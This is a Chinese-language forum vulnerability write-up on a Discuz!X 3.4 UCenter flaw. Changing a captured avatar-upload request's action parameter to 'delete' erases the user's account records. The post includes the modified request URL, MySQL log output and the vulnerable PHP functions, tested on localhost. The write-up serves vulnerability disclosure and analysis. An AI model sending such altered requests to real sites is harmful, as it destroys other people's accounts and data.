Discuz!X 个人账户删除漏洞

孤独世界 / 2018-04-20 10:06:15 / 浏览数 2367 安全技术 漏洞分析 顶(0) 踩(0)

Discuz!X 个人账户删除漏洞

环境信息

操作系统:ubuntu 16.04.9

Apache + PHP 5.6.34

数据库服务器:localhost

数据库名:Discuz

数据库用户名:root

数据库密码:root

数据表前缀:pre_

系统信箱 Email:R7st@whsgwl.net

实际测试

设置头像处,上传头像确认后抓包
`http://localhost/Discuz3.4/uc_server/index.php?m=user&inajax=1&a=rectavatar&appid=1&input=fb2eaZ3IEhpkSVtlUIyTnButMJri%2BGeNoE`
修改地址为:
`http://localhost/Discuz3.4/uc_server/uc_server/index.php?m=user&inajax=1&a=delete&appid=1&input=fb2eaZ3IEhpkSVtlUIyTnButMJri%2`
可以看到修改了GET参数a为delete
访问后页面回显 2
退出登录 , 重新登录后发现用户名密码不对
查看MySQL日志
SELECT uid FROM pre_ucenter_protectedmembers WHERE uid IN ('1')
DELETE FROM pre_ucenter_members WHERE uid IN('1')
DELETE FROM pre_ucenter_memberfields WHERE uid IN('1')
发现删除了两个表内 uid为1的字段

代码分析

/uc_server/control/user.php

```
function ondelete() {
       $this->init_input();
       $uid = $this->input('uid');
       return $_ENV['user']->delete_user($uid);
   }
```

获取uid,并赋值给$uid 然后传入到delete_user()方法中,跟进方法

/uc_server/model/user.php

```
function delete_user($uidsarr) {
       $uidsarr = (array)$uidsarr;
       if(!$uidsarr) {
           return 0;
       }
       $uids = $this->base->implode($uidsarr);
       $arr = $this->db->fetch_all("SELECT uid FROM ".UC_DBTABLEPRE."protectedmembers WHERE uid IN ($uids)");
       $puids = array();
       foreach((array)$arr as $member) {
           $puids[] = $member['uid'];
       }
       $uids = $this->base->implode(array_diff($uidsarr, $puids));
       if($uids) {
```

```
            $this->db->query("DELETE FROM ".UC_DBTABLEPRE."members WHERE uid IN($uids)");
            $this->db->query("DELETE FROM ".UC_DBTABLEPRE."memberfields WHERE uid IN($uids)");
            $this->delete_useravatar($uidsarr);
            $this->base->load('note');
            $_ENV['note']->add('deleteuser', "ids=$uids");
            return $this->db->affected_rows();
        } else {
            return 0;
        }
    }
```

End

点击收藏 | 1 关注 | 1

上一篇：狗子的XSS学习之旅 下一篇：萌新福利—sql注入之旅

1. 1 条回复

肉肉 2018-05-14 11:20:49

hello，文章稿费的事，麻烦联系一下QQ：1991308903

0 回复Ta

登录 后跟帖

先知社区

现在登录

热门节点

技术文章

社区小黑板

目录

RSS 关于社区 友情链接 社区小黑板